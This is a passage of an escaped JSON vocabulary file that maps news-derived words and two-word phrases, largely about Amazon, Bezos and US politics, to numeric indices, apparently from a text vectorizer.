\"greatest tragedy\": 69437,\n  \"referencing report\": 69438,\n  \"says billionaires\": 69439,\n  \"groene amsterdammer\": 69440,\n  \"high consumer\": 69441,\n  \"running feud\": 69442,\n  \"fall caused\": 69443,\n  \"shockproof\": 69444,\n  \"money west\": 69445,\n  \"orson welles\": 69446,\n  \"major stress\": 69447,\n  \"rules favoring\": 69448,\n  \"morphed\": 69449,\n  \"segment packages\": 69450,\n  \"americans claim\": 69451,\n  \"address calls\": 69452,\n  \"share amzn\": 69453,\n  \"entering bear\": 69454,\n  \"photo romania\": 69455,\n  \"forget simmering\": 69456,\n  \"outsize tax\": 69457,\n  \"retrains\": 69458,\n  \"fares akram\": 69459,\n  \"trans equality\": 69460,\n  \"9477\": 69461,\n  \"administration approach\": 69462,\n  \"driving amazon\": 69463,\n  \"white dancing\": 69464,\n  \"replenishment allows\": 69465,\n  \"know right\": 69466,\n  \"iconic cats\": 69467,\n  \"investigate handing\": 69468,\n  \"michaelcohen paulmanafort\": 69469,\n  \"homeless elderly\": 69470,\n  \"attending\": 69471,\n  \"exemplifies\": 69472,\n  \"irreplaceable\": 69473,\n  \"officials override\": 69474,\n  \"notoriously vindictive\": 69475,\n  \"actor\": 69476,\n  \"challenges soar\": 69477,\n  \"stock soars\": 69478,\n  \"brexit quite\": 69479,\n  \"brady\": 69480,\n  \"split family\": 69481,\n  \"bielamowicz\": 69482,\n  \"volcker rule\": 69483,\n  \"paypal execution\": 69484,\n  \"despite massive\": 69485,\n  \"shipstation international\": 69486,\n  \"half way\": 69487,\n  \"merger partners\": 69488,\n  \"report alleges\": 69489,\n  \"latest industry\": 69490,\n  \"empowerment initiative\": 69491,\n  \"people appear\": 69492,\n  \"aboutthe 25th\": 69493,\n  \"house speaking\": 69494,\n  \"leonid writes\": 69495,\n  \"holding market\": 69496,\n  \"anticompetitive behavior\": 69497,\n  \"column 1437392\": 69498,\n  \"karen monahan\": 69499,\n  \"haruki murakami\": 69500,\n  \"cvx begin\": 69501,\n  \"decambre\": 69502,\n  \"chicago economic\": 69503,\n  \"hub progressive\": 69504,\n  \"vital stories\": 69505,\n  \"journalistic efforts\": 69506,\n  \"rux\": 69507,\n  \"interviews alleging\": 69508,\n  \"gone horribly\": 69509,\n  \"genetic history\": 69510,\n  \"surivor source\": 69511,\n  \"reported struggles\": 69512,\n  \"straus\": 69513,\n  \"card approximately\": 69514,\n  \"teenager chased\": 69515,\n  \"yardbird hong\": 69516,\n  \"delivering unequivocally\": 69517,\n  \"amazon bezos\": 69518,\n  \"amazon cnn\": 69519,\n  \"special book\": 69520,\n  \"sec endorses\": 69521,\n  \"amazon shelled\": 69522,\n  \"securing israel\": 69523,\n  \"balloon overhead\": 69524,\n  \"ordeal soon\": 69525,\n  \"military budget\": 69526,\n  \"signaling different\": 69527,\n  \"businesses geekwire\": 69528,\n  \"hold dear\": 69529,\n  \"salaries commensurate\": 69530,\n  \"investment banking\": 69531,\n  \"caption luca\": 69532,\n  \"chicagotribune\": 69533,\n  \"guides users\": 69534,\n  \"treats fans\": 69535,\n  \"growing world\": 69536,\n  \"isolated anecdotes\": 69537,\n  \"announces connect\": 69538,\n  \"house exclusive\": 69539,\n  \"pacific press\": 69540,\n  \"family murder\": 69541,\n  \"early results\": 69542,\n  \"recent losses\": 69543,\n  \"words impeach\": 69544,\n  \"departmentofficials\": 69545,\n  \"president nixon\": 69546,\n  \"west owns\": 69547,\n  \"cement legacy\": 69548,\n  \"initially explored\": 69549,\n  \"new record\": 69550,\n  \"yucel afp\": 69551,\n  \"thumping\": 69552,\n  \"disapproves\": 69553,\n  \"deeply regret\": 69554,\n  \"facebook social\": 69555,\n  \"despite record\": 69556,\n  \"chinese trade\": 69557,\n  \"key fusion\": 69558,\n  \"seattle largest\": 69559,\n  \"billions usps\": 69560,\n  \"revenue read\": 69561,\n  \"dumb bad\": 69562,\n  \"sponsors amazon\": 69563,\n  \"habitat range\": 69564,\n  \"words american\": 69565,\n  \"flex delivery\": 69566,\n  \"year cnbc\": 69567,\n  \"says celine\": 69568,\n  \"media concerns\": 69569,\n  \"key strategic\": 69570,\n  \"processing transaction\": 69571,\n  \"rttnews\": 69572,\n  \"diversity policies\": 69573,\n  \"lampert hedge\": 69574,\n  \"reimposed\": 69575,\n  \"past ami\": 69576,\n  \"seeing single\": 69577,\n  \"sanders really\": 69578,\n  \"customer solution\": 69579,\n  \"social environmental\": 69580,\n  \"article doyle\": 69581,\n  \"tabloid signed\": 69582,\n  \"tester democrat\": 69583,\n  \"vetting\": 69584,\n  \"zeros\": 69585,\n  \"danilposh\": 69586,\n  \"\\u0142122\": 69587,\n  \"just ruled\": 69588,\n  \"making trump\": 69589,\n  \"message version\": 69590,\n  \"commercial drones\": 69591,\n  \"griffeth north\": 69592,\n  \"valuable tech\": 69593,\n  \"indiana\": 69594,\n  \"interrupts\": 69595,\n  \"trump voters\": 69596,\n  \"marko\": 69597,\n  \"recall large\": 69598,\n  \"employees start\": 69599,\n  \"elena determined\": 69600,\n  \"amazon q3\": 69601,\n  \"democrats chose\": 69602,\n  \"news townhall\": 69603,\n  \"advertisers greer\": 69604,\n  \"strategy means\": 69605,\n  \"journalists washington\": 69606,\n  \"inc_image_caption_override null\": 69607,\n  \"lost\": 69608,\n  \"militant\": 69609,\n  \"read monitor\": 69610,\n  \"reporting billion\": 69611,\n  \"danger billionaire\": 69612,\n  \"amazon mantra\": 69613,\n  \"kedis\": 69614,\n  \"innocuous\": 69615,\n  \"engine started\": 69616,\n  \"pre release\": 69617,\n  \"host domain\": 69618,\n  \"report argues\": 69619,\n  \"woman teeth\": 69620,\n  \"goldman\": 69621,\n  \"boy doesn\": 69622,\n  \"splitting amicably\": 69623,\n  \"eu accused\": 69624,\n  \"republican fixer\": 69625,\n  \"partner delivery\": 69626,\n  \"rebound 2018\": 69627,\n  \"products apparel\": 69628,\n  \"word abortion\": 69629,\n  \"visiting australia\": 69630,\n  \"previous records\": 69631,\n  \"president euro\": 69632,\n  \"americans house\": 69633,\n  \"william morris\": 69634,\n  \"phones embody\": 69635,\n  \"audiobook told\": 69636,\n  \"putin mccain\": 69637,\n  \"disagree financial\": 69638,\n  \"nonrecycled\": 69639,\n  \"appointed heads\": 69640,\n  \"protocol document\": 69641,\n  \"wapo reports\": 69642,\n  \"mortgage originators\": 69643,\n  \"tell negative\": 69644,\n  \"gibbs research\": 69645,\n  \"bold build\": 69646,\n  \"social progress\": 69647,\n  \"faces significant\": 69648,\n  \"agency case\": 69649,\n  \"evaristo\": 69650,\n  \"widely available\": 69651,\n  \"consider pursuing\": 69652,\n  \"sun trump\": 69653,\n  \"metro reporter\": 69654,\n  \"good wife\": 69655,\n  \"timestampdisplay timestamputc\": 69656,\n  \"cell lines\": 69657,\n  \"positive experience\": 69658,\n  \"desmond hellman\": 69659,\n  \"blastedcnn\": 69660,\n  \"costco belongs\": 69661,\n  \"helon\": 69662,\n  \"global revenue\": 69663,\n  \"staunchly denied\": 69664,\n  \"amid repeated\": 69665,\n  \"begin videotape\": 69666,\n  \"expectations set\": 69667,\n  \"ske amazon\": 69668,\n  \"continued economic\": 69669,\n  \"habla ingles\": 69670,\n  \"sauces\": 69671,\n  \"practices margrethe\": 69672,\n  \"extremist views\": 69673,\n  \"bolton mike\": 69674,\n  \"age man\": 69675,\n  \"google weighing\": 69676,\n  \"writes tara\": 69677,\n  \"unexpected supporter\": 69678,\n  \"president trumpkim\": 69679,\n  \"holmgren\": 69680,\n  \"j8 data\": 69681,\n  \"decision applauded\": 69682,\n  \"warned elected\": 69683,\n  \"brown people\": 69684,\n  \"carl davis\": 69685,\n  \"smoke poor\": 69686,\n  \"figures designed\": 69687,\n  \"drug testing\": 69688,\n  \"approximately flat\": 69689,\n  \"comfortable summer\": 69690,\n  \"men carry\": 69691,\n  \"sloppy\": 69692,\n  \"trends small\": 69693,\n  \"amazon brazen\": 69694,\n  \"antitrust sanctions\": 69695,\n  \"potted plant\": 69696,\n  \"buy buy\": 69697,\n  \"anchor hughes\": 69698,\n  \"improve urban\": 69699,\n  \"quote comfortable\": 69700,\n  \"paint stunning\": 69701,\n  \"secret tv\": 69702,\n  \"permian basin\": 69703,\n  \"largest economic\": 69704,\n  \"share service\": 69705,\n  \"soiling america\": 69706,\n  \"guidance suggests\": 69707,\n  \"virginia cyberx\": 69708,\n  \"wsj british\": 69709,\n  \"exactly surprise\": 69710,\n  \"big mystery\": 69711,\n  \"witnessing game\": 69712,\n  \"congress votes\": 69713,\n  \"republican strategists\": 69714,\n  \"considering taking\": 69715,\n  \"extensive information\": 69716,\n  \"quarter surged\": 69717,\n  \"larger economy\": 69718,\n  \"trump joke\": 69719,\n  \"extreme focus\": 69720,\n  \"transportation costs\": 69721,\n  \"adviser lina\": 69722,\n  \"dry procedural\": 69723,\n  \"steadily\": 69724,\n  \"possible effect\": 69725,\n  \"overall business\": 69726,\n  \"uksmallbizrt rt\": 69727,\n  \"online outlets\": 69728,\n  \"regular segment\": 69729,\n  \"portrays\": 69730,\n  \"underpin prices\": 69731,\n  \"progress current\": 69732,\n  \"instruments nyse\": 69733,\n  \"higher minimum\": 69734,\n  \"usually vent\": 69735,\n  \"aggravation\": 69736,\n  \"accomplishments\": 69737,\n  \"trump hard\": 69738,\n  \"anonymity\": 69739,\n  \"active customers\": 69740,\n  \"unconvincingly\": 69741,\n  \"mile issue\": 69742,\n  \"frisch\": 69743,\n  \"chatham\": 69744,\n  \"school learn\": 69745,\n  \"month companies\": 69746,\n  \"industry bezos\": 69747,\n  \"large discrepancies\": 69748,\n  \"sector package\": 69749,\n  \"queens currently\": 69750,\n  \"romero\": 69751,\n  \"stacey\": 69752,\n  \"considerably cheaper\": 69753,\n  \"deloitte report\": 69754,\n  \"newspaper thanks\": 69755,\n  \"quality images\": 69756,\n  \"world thanks\": 69757,\n  \"getting broken\": 69758,\n  \"446 bezos\": 69759,\n  \"hyderabad\": 69760,\n  \"preparations\": 69761,\n  \"colleague bid\": 69762,\n  \"amzn slipping\": 69763,\n  \"geographic elephant\": 69764,\n  \"educators\": 69765,\n  \"hathaway bought\": 69766,\n  \"president did\": 69767,\n  \"revolution\": 69768,\n  \"courting washington\": 69769,\n  \"company apple\": 69770,\n  \"wing narrative\": 69771,\n  \"1973 pic\": 69772,\n  \"reporter jim\": 69773,\n  \"company issues\": 69774,\n  \"w9x function\": 69775,\n  \"seriously think\": 69776,\n  \"wires crisscrossing\": 69777,\n  \"charged just\": 69778,\n  \"ratified\": 69779,\n  \"governor received\": 69780,\n  \"composer inspired\": 69781,\n  \"specialized high\": 69782,\n  \"euphemistically\": 69783,\n  \"overseeing failed\": 69784,\n  \"raps critics\": 69785,\n  \"great kindness\": 69786,\n  \"paid playmate\": 69787,\n  \"jocks\": 69788,\n  \"dwayne johnson\": 69789,\n  \"intelligence growth\": 69790,\n  \"indices tumbled\": 69791,\n  \"list sold\": 69792,\n  \"reelection despite\": 69793,\n  \"nazi\": 69794,\n  \"answer yes\": 69795,\n  \"open enforcement\": 69796,\n  \"face interactions\": 69797,\n  \"asos castro\": 69798,\n  \"flag flying\": 69799,\n  \"provision allowing\": 69800,\n  \"white people\": 69801,\n  \"mccaul texas\": 69802,\n  \"amazon tax\": 69803,\n  \"technicians\": 69804,\n  \"jobs andrew\": 69805,\n  \"mckinley irvin\": 69806,\n  \"scouts police\": 69807,\n  \"drinks appetizers\": 69808,\n  \"runs tuesdays\": 69809,\n  \"expansion president\": 69810,\n  \"startup businesses\": 69811,\n  \"dingell\": 69812,\n  \"largest internet\": 69813,\n  \"tariffs brexit\": 69814,\n  \"campaign adviser\": 69815,\n  \"grammys drama\": 69816,\n  \"finding bargain\": 69817,\n  \"making power\": 69818,\n  \"berman predecessor\": 69819,\n  \"fiscal fate\": 69820,\n  \"skinnier businessman\": 69821,\n  \"donnell senator\": 69822,\n  \"katranides webster\": 69823,\n  \"moneymaking schemes\": 69824,\n  \"biased surveillance\": 69825,\n  \"dropping project\": 69826,\n  \"heavy hitters\": 69827,\n  \"twitter demands\": 69828,\n  \"essentials spare\": 69829,\n  \"ongoing problem\": 69830,\n  \"normally used\": 69831,\n  \"highlights moderator\": 69832,\n  \"0817et\": 69833,\n  \"today sign\": 69834,\n  \"toronto wasn\": 69835,\n  \"better advice\": 69836,\n  \"tall__head length\": 69837,\n  \"convenience\": 69838,\n  \"wrong surely\": 69839,\n  \"music awards\": 69840,\n  \"word amazon\": 69841,\n  \"reproductive oasis\": 69842,\n  \"louisiana sporting\": 69843,\n  \"w0\": 69844,\n  \"major platform\": 69845,\n  \"puts enquirer\": 69846,\n  \"300m bi\": 69847,\n  \"born2invest\": 69848,\n  \"memorial day\": 69849,\n  \"republique square\": 69850,\n  \"weekend carrell\": 69851,\n  \"stronger voice\": 69852,\n  \"perfect public\": 69853,\n  \"appropriation\": 69854,\n  \"admittedly link\": 69855,\n  \"2017 total\": 69856,\n  \"ken catalino\": 69857,\n  \"jnqzosonfn\": 69858,\n  \"important business\": 69859,\n  \"decambre 415\": 69860,\n  \"annual regulatory\": 69861,\n  \"doubling\": 69862,\n  \"commercial program\": 69863,\n  \"climate agreement\": 69864,\n  \"announced willy\": 69865,\n  \"delivered faster\": 69866,\n  \"quietly hiring\": 69867,\n  \"companies accesswire\": 69868,\n  \"noosed\": 69869,\n  \"operators ran\": 69870,\n  \"create distraction\": 69871,\n  \"guy ratings\": 69872,\n  \"state economic\": 69873,\n  \"reporting based\": 69874,\n  \"latest crop\": 69875,\n  \"nathanpeterson\": 69876,\n  \"community economy\": 69877,\n  \"effect india\": 69878,\n  \"stifles competition\": 69879,\n  \"business review\": 69880,\n  \"markets futures\": 69881,\n  \"breathtakingly\": 69882,\n  \"webber\": 69883,\n  \"boy falsely\": 69884,\n  \"postcards mail\": 69885,\n  \"memoir arrives\": 69886,\n  \"chaffetz congressional\": 69887,\n  \"neutrality repeal\": 69888,\n  \"regulatory crackdown\": 69889,\n  \"stood european\": 69890,\n  \"requirements designed\": 69891,\n  \"case highlights\": 69892,\n  \"oasas\": 69893,\n  \"sanskrit\": 69894,\n  \"economic scales\": 69895,\n  \"addition jedi\": 69896,\n  \"eu preliminary\": 69897,\n  \"holt\": 69898,\n  \"stores augment\": 69899,\n  \"fy18 respectively\": 69900,\n  \"wharton school\": 69901,\n  \"reeks\": 69902,\n  \"survey respondents\": 69903,\n  \"publish barack\": 69904,\n  \"ment ami\": 69905,\n  \"boss david\": 69906,\n  \"power postal\": 69907,\n  \"enquirer executives\": 69908,\n  \"01pm national\": 69909,\n  \"background gags\": 69910,\n  \"cream givenchy\": 69911,\n  \"dandelions\": 69912,\n  \"backlash hawaii\": 69913,\n  \"stop facebook\": 69914,\n  \"orbital\": 69915,\n  \"european immigrants\": 69916,\n  \"sealed deal\": 69917,\n  \"unique challenges\": 69918,\n  \"really going\": 69919,\n  \"dangerously radical\": 69920,\n  \"share similarities\": 69921,\n  \"life living\": 69922,\n  \"criticised nbc\": 69923,\n  \"correspondence created\": 69924,\n  \"ecommerce business\": 69925,\n  \"free global\": 69926,\n  \"photos amazon\": 69927,\n  \"mashable\": 69928,\n  \"signs just\": 69929,\n  \"profile adversaries\": 69930,\n  \"story supercharged\": 69931,\n  \"aim\\u00e9 nintendo\": 69932,\n  \"bastard\": 69933,\n  \"amazon commitments\": 69934,\n  \"distilled\": 69935,\n  \"political acts\": 69936,\n  \"ahead just\": 69937,\n  \"hench stock\": 69938,\n  \"ancestral\": 69939,\n  \"appealing flavors\": 69940,\n  \"vegan plant\": 69941,\n  \"university press\": 69942,\n  \"route\": 69943,\n  \"178bn\": 69944,\n  \"complaint alleged\": 69945,\n  \"qualifies\": 69946,\n  \"adopt student\": 69947,\n  \"gates fortune\": 69948,\n  \"school aid\": 69949,\n  \"promoting discount\": 69950,\n  \"reston va\": 69951,\n  \"hsbc customer\": 69952,\n  \"samaritans fortnite\": 69953,\n  \"spicer mocked\": 69954,\n  \"nangs johnsons\": 69955,\n  \"solomon saltsman\": 69956,\n  \"unfair assessment\": 69957,\n  \"nappily\": 69958,\n  \"dumbed\": 69959,\n  \"icky bedfellows\": 69960,\n  \"nondisclosure\": 69961,\n  \"stephon clark\": 69962,\n  \"bound father\": 69963,\n  \"book just\": 69964,\n  \"help patient\": 69965,\n  \"google systematically\": 69966,\n  \"street closes\": 69967,\n  \"elections iran\": 69968,\n  \"918\": 69969,\n  \"intractable problem\": 69970,\n  \"basketball game\": 69971,\n  \"obvious tax\": 69972,\n  \"employees responded\": 69973,\n  \"doorbell\": 69974,\n  \"cracker barrel\": 69975,\n  \"consensus estimates\": 69976,\n  \"kelly tm\": 69977,\n  \"bulbous eyes\": 69978,\n  \"strong transparency\": 69979,\n  \"long used\": 69980,\n  \"topics commenters\": 69981,\n  \"nashville facility\": 69982,\n  \"successful community\": 69983,\n  \"loaned close\": 69984,\n  \"society amazon\": 69985,\n  \"congress convenes\": 69986,\n  \"34007608504 home\": 69987,\n  \"137billion 108billion\": 69988,\n  \"dod massive\": 69989,\n  \"business bobbie\": 69990,\n  \"alongside carl\": 69991,\n  \"sanchez stay\": 69992,\n  \"told natural\": 69993,\n  \"announcements john\": 69994,\n  \"portfolio stifel\": 69995,\n  \"quiet weird\": 69996,\n  \"le\": 69997,\n  \"cityswitch\": 69998,\n  \"videocardcontents sourcename\": 69999,\n  \"bolsters netanyahu\": 70000,\n  \"border bolster\": 70001,\n  \"europe inc_filelocation\": 70002,\n  \"new consumer\": 70003,\n  \"american taxpayers\": 70004,\n  \"alison lenert\": 70005,\n  \"wall christian\": 70006,\n  \"grahams\": 70007,\n  \"truly work\": 70008,\n  \"latest budget\": 70009,\n  \"hearing virginia\": 70010,\n  \"seizing funding\": 70011,\n  \"send trump\": 70012,\n  \"hathaway\": 70013,\n  \"island based\": 70014,\n  \"news legal\": 70015,\n  \"sudden decision\": 70016,\n  \"teachers strikes\": 70017,\n  \"york chaos\": 70018,\n  \"james harrigan\": 70019,\n  \"positive takeaways\": 70020,\n  \"contains life\": 70021,\n  \"shoe line\": 70022,\n  \"fidelity blackrock\": 70023,\n  \"schultz member\": 70024,\n  \"cueing\": 70025,\n  \"trading news\": 70026,\n  \"tweetstorm trump\": 70027,\n  \"insurgency\": 70028,\n  \"decals nbc\": 70029,\n  \"acts\": 70030,\n  \"visits\": 70031,\n  \"secret gop\": 70032,\n  \"lemon pie\": 70033,\n  \"crime scene\": 70034,\n  \"complexion\": 70035,\n  \"pettypiece\": 70036,\n  \"cuomo state\": 70037,\n  \"streaming news\": 70038,\n  \"strong regulatory\": 70039,\n  \"holistic strategies\": 70040,\n  \"data sets\": 70041,\n  \"reporting fake\": 70042,\n  \"habla\": 70043,\n  \"daca illegals\": 70044,\n  \"selfie playground\": 70045,\n  \"major highlight\": 70046,\n  \"violence according\": 70047,\n  \"guest post\": 70048,\n  \"station travel\": 70049,\n  \"wraith\": 70050,\n  \"cnl_custom_color 009cd8\": 70051,\n  \"bringing jobs\": 70052,\n  \"500 hits\": 70053,\n  \"common megan\": 70054,\n  \"home town\": 70055,\n  \"miller lewis\": 70056,\n  \"opposition research\": 70057,\n  \"liberal approval\": 70058,\n  \"law getting\": 70059,\n  \"isa\": 70060,\n  \"facing increased\": 70061,\n  \"enroll\": 70062,\n  \"amazon holiday\": 70063,\n  \"eprivacy regulation\": 70064,\n  \"average amazon\": 70065,\n  \"development engineer\": 70066,\n  \"addresses liz\": 70067,\n  \"head richard\": 70068,\n  \"mediocre mother\": 70069,\n  \"mattis met\": 70070,\n  \"included dark\": 70071,\n  \"voluntary early\": 70072,\n  \"scholarship bezos\": 70073,\n  \"germany bdi\": 70074,\n  \"large corporation\": 70075,\n  \"statement continued\": 70076,\n  \"offset monetary\": 70077,\n  \"fakenewsmedia\": 70078,\n  \"townsfolk\": 70079,\n  \"settlement payout\": 70080,\n  \"instead used\": 70081,\n  \"knopf ny\": 70082,\n  \"improving profitability\": 70083,\n  \"women act\": 70084,\n  \"leads rocket\": 70085,\n  \"eu institutions\": 70086,\n  \"document companies\": 70087,\n  \"plus member\": 70088,\n  \"warehouse worker\": 70089,\n  \"led senate\": 70090,\n  \"helpful\": 70091,\n  \"global rainforests\": 70092,\n  \"enquire pointing\": 70093,\n  \"amazon initiative\": 70094,\n  \"valuation allowances\": 70095,\n  \"wmt market\": 70096,\n  \"longtime clinton\": 70097,\n  \"stanley hiked\": 70098,\n  \"headlinepretext\": 70099,\n  \"forward swaying\": 70100,\n  \"office sold\": 70101,\n  \"choice amazon\": 70102,\n  \"month newsdesk\": 70103,\n  \"benefits maybe\": 70104,\n  \"trump wonders\": 70105,\n  \"questions thati\": 70106,\n  \"wealthy men\": 70107,\n  \"jointly managed\": 70108,\n  \"big national\": 70109,\n  \"tabloid acknowledged\": 70110,\n  \"diverse relationships\": 70111,\n  \"fourth annual\": 70112,\n  \"close compared\": 70113,\n  \"fed dovish\": 70114,\n  \"blends amazon\": 70115,\n  \"probably expect\": 70116,\n  \"techcrunch dot\": 70117,\n  \"prefunded\": 70118,\n  \"amazon community\": 70119,\n  \"win repealing\": 70120,\n  \"walton\": 70121,\n  \"119\": 70122,\n  \"america democrats\": 70123,\n  \"summit vatican\": 70124,\n  \"600 student\": 70125,\n  \"org opportunityzones\": 70126,\n  \"watermelon normally\": 70127,\n  \"longtime strategist\": 70128,\n  \"juices\": 70129,\n  \"playboy playmate\": 70130,\n  \"act 3876\": 70131,\n  \"hosting\": 70132,\n  \"epicenter\": 70133,\n  \"spells heart\": 70134,\n  \"problematic garofolo\": 70135,\n  \"personal twitter\": 70136,\n  \"airlines emergency\": 70137,\n  \"unfairly jennifer\": 70138,\n  \"near birmingham\": 70139,\n  \"scrutiny thomas\": 70140,\n  \"law uber\": 70141,\n  \"competitors khan\": 70142,\n  \"toddler ice\": 70143,\n  \"500 overall\": 70144,\n  \"bluefly bluefly\": 70145,\n  \"combined mackey\": 70146,\n  \"stop officials\": 70147,\n  \"karl marx\": 70148,\n  \"center worker\": 70149,\n  \"profit according\": 70150,\n  \"released treasure\": 70151,\n  \"onewest operation\": 70152,\n  \"amid opposition\": 70153,\n  \"express significant\": 70154,\n  \"elijah cummings\": 70155,\n  \"nancy met\": 70156,\n  \"despite sending\": 70157,\n  \"includes commitments\": 70158,\n  \"trump vision\": 70159,\n  \"hardly reflects\": 70160,\n  \"gilroy nightcrawler\": 70161,\n  \"yes trump\": 70162,\n  \"repeated target\": 70163,\n  \"foreseeable\": 70164,\n  \"talkshow\": 70165,\n  \"does chicago\": 70166,\n  \"workhorse\": 70167,\n  \"court decision\": 70168,\n  \"museum\": 70169,\n  \"site promotions\": 70170,\n  \"act congresswoman\": 70171,\n  \"renovated\": 70172,\n  \"8781\": 70173,\n  \"intently focus\": 70174,\n  \"avoided charging\": 70175,\n  \"challenge government\": 70176,\n  \"thecity nyc\": 70177,\n  \"beneficiant\": 70178,\n  \"site located\": 70179,\n  \"gov raps\": 70180,\n  \"impressed amazon\": 70181,\n  \"matches read\": 70182,\n  \"afford home\": 70183,\n  \"journal finding\": 70184,\n  \"hanya yanagihara\": 70185,\n  \"prolonged\": 70186,\n  \"kjzz\": 70187,\n  \"estate record\": 70188,\n  \"products aimed\": 70189,\n  \"mentions amazon\": 70190,\n  \"ultimately\": 70191,\n  \"mistreated workers\": 70192,\n  \"pointing amazon\": 70193,\n  \"ambitions\": 70194,\n  \"central business\": 70195,\n  \"retailers nathaniel\": 70196,\n  \"marxist organization\": 70197,\n  \"future look\": 70198,\n  \"play robert\": 70199,\n  \"snap benefits\": 70200,\n  \"fourth time\": 70201,\n  \"called mailbox\": 70202,\n  \"realistic options\": 70203,\n  \"personable tweets\": 70204,\n  \"amazon store\": 70205,\n  \"group unemployment\": 70206,\n  \"inexcusable privacy\": 70207,\n  \"law brings\": 70208,\n  \"curtails\": 70209,\n  \"unlike paypal\": 70210,\n  \"article praising\": 70211,\n  \"toby life\": 70212,\n  \"gm gm\": 70213,\n  \"categories business\": 70214,\n  \"biggest prime\": 70215,\n  \"better mousetrap\": 70216,\n  \"attacked broward\": 70217,\n  \"californian company\": 70218,\n  \"rising sea\": 70219,\n  \"yes personification\": 70220,\n  \"larger impact\": 70221,\n  \"purpose vice\": 70222,\n  \"nafta just\": 70223,\n  \"oscars spike\": 70224,\n  \"profitable markets\": 70225,\n  \"china girl\": 70226,\n  \"demonic\": 70227,\n  \"indian reservations\": 70228,\n  \"amazon channel\": 70229,\n  \"post kullgren\": 70230,\n  \"know bartiromo\": 70231,\n  \"danielle told\": 70232,\n  \"needed delivered\": 70233,\n  \"creating thousands\": 70234,\n  \"g0 a4ee\": 70235,\n  \"tabloid rag\": 70236,\n  \"470 shares\": 70237,\n  \"work working\": 70238,\n  \"mexico city\": 70239,\n  \"seabreeze\": 70240,\n  \"improvement costs\": 70241,\n  \"amazon jeffbezos\": 70242,\n  \"adopting cloud\": 70243,\n  \"heavily pro\": 70244,\n  \"organization official\": 70245,\n  \"president kurtz\": 70246,\n  \"freelance writers\": 70247,\n  \"control just\": 70248,\n  \"engagement seminars\": 70249,\n  \"citing preexisting\": 70250,\n  \"sent registration\": 70251,\n  \"page memo\": 70252,\n  \"earnings gardner\": 70253,\n  \"pre\": 70254,\n  \"siegel national\": 70255,\n  \"multi decade\": 70256,\n  \"president continues\": 70257,\n  \"month discouraging\": 70258,\n  \"don understand\": 70259,\n  \"workers interviewed\": 70260,\n  \"perkins coie\": 70261,\n  \"additional investments\": 70262,\n  \"roaming\": 70263,\n  \"network freezes\": 70264,\n  \"counties wants\": 70265,\n  \"dies republican\": 70266,\n  \"quarter devastating\": 70267,\n  \"globe unlimited\": 70268,\n  \"tweeting easier\": 70269,\n  \"standalone service\": 70270,\n  \"researcher geoff\": 70271,\n  \"general decided\": 70272,\n  \"local residents\": 70273,\n  \"biotechnologies\": 70274,\n  \"trump threatened\": 70275,\n  \"d6 content\": 70276,\n  \"trump represents\": 70277,\n  \"lord taylor\": 70278,\n  \"general data\": 70279,\n  \"future economic\": 70280,\n  \"rail car\": 70281,\n  \"purchase counterfeit\": 70282,\n  \"example haverty\": 70283,\n  \"slurs pop\": 70284,\n  \"administration colleagues\": 70285,\n  \"ahead tony\": 70286,\n  \"traumatizing\": 70287,\n  \"traditional american\": 70288,\n  \"deductions\": 70289,\n  \"way insiders\": 70290,\n  \"servant\": 70291,\n  \"\\u01422 29billion\": 70292,\n  \"antarctica baby\": 70293,\n  \"pizza shop\": 70294,\n  \"excellent\": 70295,\n  \"businesses construction\": 70296,\n  \"steals american\": 70297,\n  \"schmid health\": 70298,\n  \"launch medical\": 70299,\n  \"communal cloud\": 70300,\n  \"sizable presence\": 70301,\n  \"greatly enhanced\": 70302,\n  \"sadler remark\": 70303,\n  \"500 registration\": 70304,\n  \"expanse\": 70305,\n  \"totalitarian society\": 70306,\n  \"comments kyle\": 70307,\n  \"includes free\": 70308,\n  \"sizable numbers\": 70309,\n  \"sanders shout\": 70310,\n  \"short near\": 70311,\n  \"mayoral control\": 70312,\n  \"workers rising\": 70313,\n  \"2017 foxconn\": 70314,\n  \"boston ma\": 70315,\n  \"new requirements\": 70316,\n  \"trump singles\": 70317,\n  \"metaphor\": 70318,\n  \"unlimited\": 70319,\n  \"did want\": 70320,\n  \"international mail\": 70321,\n  \"company postal\": 70322,\n  \"states massive\": 70323,\n  \"relief funding\": 70324,\n  \"current finalists\": 70325,\n  \"second longest\": 70326,\n  \"pussy\": 70327,\n  \"freedom read\": 70328,\n  \"vision grit\": 70329,\n  \"state taxes\": 70330,\n  \"poppins\": 70331,\n  \"regarding prison\": 70332,\n  \"nestled\": 70333,\n  \"healthy recipes\": 70334,\n  \"roads kingdoms\": 70335,\n  \"initiatives congestion\": 70336,\n  \"twitter did\": 70337,\n  \"plante rightly\": 70338,\n  \"wp content\": 70339,\n  \"shaped cutouts\": 70340,\n  \"pbm dow\": 70341,\n  \"flashpoint washington\": 70342,\n  \"ocasio cortezthat\": 70343,\n  \"began shouting\": 70344,\n  \"sourceflickr\": 70345,\n  \"affair wish\": 70346,\n  \"agency communication\": 70347,\n  \"laugh basically\": 70348,\n  \"600 points\": 70349,\n  \"rock named\": 70350,\n  \"political motivations\": 70351,\n  \"amazon commercial\": 70352,\n  \"local judge\": 70353,\n  \"lies ahead\": 70354,\n  \"contributor markets\": 70355,\n  \"480 million\": 70356,\n  \"retail value\": 70357,\n  \"series tells\": 70358,\n  \"belt america\": 70359,\n  \"amazon control\": 70360,\n  \"300 billion\": 70361,\n  \"personal bank\": 70362,\n  \"people win\": 70363,\n  \"vast investigationacross\": 70364,\n  \"343 shares\": 70365,\n  \"based freedom\": 70366,\n  \"president russell\": 70367,\n  \"france gangster\": 70368,\n  \"challenges regularly\": 70369,\n  \"tommy hilfiger\": 70370,\n  \"consulted los\": 70371,\n  \"publisher hachette\": 70372,\n  \"congressional staffer\": 70373,\n  \"sister lauren\": 70374,\n  \"protocol\": 70375,\n  \"airlines southwest\": 70376,\n  \"987 7207\": 70377,\n  \"winning jedi\": 70378,\n  \"greenjob won\": 70379,\n  \"billion rm217\": 70380,\n  \"headquarters specifically\": 70381,\n  \"34th\": 70382,\n  \"measly 338\": 70383,\n  \"draws parallels\": 70384,\n  \"local communities\": 70385,\n  \"left vying\": 70386,\n  \"synchronous retaliation\": 70387,\n  \"despite lots\": 70388,\n  \"administration recently\": 70389,\n  \"crystal clear\": 70390,\n  \"interview notyet\": 70391,\n  \"donor peter\": 70392,\n  \"firm web\": 70393,\n  \"agency deference\": 70394,\n  \"croatia\": 70395,\n  \"modern postal\": 70396,\n  \"biggest defenders\": 70397,\n  \"tawdry claim\": 70398,\n  \"trump proclamations\": 70399,\n  \"templates\": 70400,\n  \"sadler\": 70401,\n  \"martin song\": 70402,\n  \"suite 